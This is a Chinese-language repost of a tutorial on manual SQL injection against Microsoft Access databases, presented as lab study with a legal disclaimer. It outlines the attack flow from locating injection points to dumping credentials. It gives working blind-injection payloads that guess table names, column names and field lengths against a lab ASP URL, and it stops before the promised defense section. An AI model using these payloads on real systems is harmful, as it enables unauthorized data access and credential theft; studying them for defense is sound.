欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 金融 > 微软数据库的SQL注入漏洞解析——Microsoft Access、SQLServer与SQL注入防御

微软数据库的SQL注入漏洞解析——Microsoft Access、SQLServer与SQL注入防御

2025/3/31 17:33:50 来源:https://blog.csdn.net/xiaochenXIHUA/article/details/142163156  浏览:    关键词:微软数据库的SQL注入漏洞解析——Microsoft Access、SQLServer与SQL注入防御

说明:本文仅是用于学习分析自己搭建的SQL漏洞内容和原理,请勿用在非法途径上,违者后果自负,与笔者无关;本文开始前请认真详细学习《‌中华人民共和国网络安全法》‌及其相关法规内容【学法时习之丨网络安全在身边一图了解网络安全法_中央网络安全和信息化委员会办公室】 。

MySQL数据库的SQL注入漏洞解析icon-default.png?t=O83Ahttps://blog.csdn.net/xiaochenXIHUA/article/details/141974766?spm=1001.2014.3001.5501 

一、SQL注入常见流程

1.1、寻找SQL注入点

        一般进行SQL注入前,都需要对这些数据库所对应的程序寻找注入点,常见的SQL注入点一般存在于参数输入、输出的位置(如:注册登录、不同页码、参数内容的数据查询、不同页面切换、留言版等内容)。

        SQL注入漏洞的检测方法:【单引号】【or 1=1】【and 1=2】。

        SQL注入的常见位置:http头、cookies、user agent,post提交数据位置;与数据库交互的相关界面(如:注册登录、数据查询展示界面等)。

1.2、SQL注入常见流程

        【1、获取数据库】-->【2、获取数据库对应的表】-->【3、获取数据库表的字段】-->【4、获取字段内容】-->【5、获取账号密码登内容后进行对应的数据库操作(提权、控制、脱库等一切操作)】。

二、Microsoft Access数据库SQL注入

        我们获取到程序的可能注入点,然后使用SQL注入内容进行注入测试(如添加';and 1=1#等内容进行测试看是否报错)。由于access数据库没有其他可以用于存储基础数据的明显库内容(如mysql5.0及其之上版本具有的infomation_schema库【mysql5.0之前的版本没有记录数据库基础数据的库,也只能靠暴力猜解】)所以我们对于access库只能够暴力猜解,一般使用工具进行,如下将介绍手工测试access数据库的SQL注入原理。

2.1、猜解表名称

# 猜解表名称语句(existes表示判断该表是否存在,如果返回错误信息则表示我们猜测的表名称不对,切换另一个表名称继续测试)
and exists(select * from 盲猜的表名称) ## 示例
192.168.3.212/custom.asp?id=4 and exists(select * from users) #
192.168.3.212/custom.asp?id=4 and exists(select * from peopleinfo) #

2.2、猜解字段名称

# 猜解表的字段语句(返回正常则表示猜测的表字段名称存在,否则换另一个名称继续测试)
and exists(select 需猜测的表字段名称 from 确定有的表名称)## 示例:
192.168.3.212/custom.asp?id=4 and exists(select username from users)#192.168.3.212/custom.asp?id=4 and exists(select password from users) -- 

2.3、猜解字段数据长度

猜解字段的数据长度主要是为了给下面使用ASCII码猜解字段内容使用

# 采集字段数据长度
and (select top 1 len(字段名称) from 表名称)>字段长度# 示例
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>2    //正常
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>4    //正常
192.168.3.212/custom.asp?id=4 and (select top 1 len(username) from users)>5    //错误(表明该users表的username字段第一行的内容长度是5)

2.4、猜解字段数据内容(低效)

        使用截取字符串函数截取单个字母的ASCII码内容猜解

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词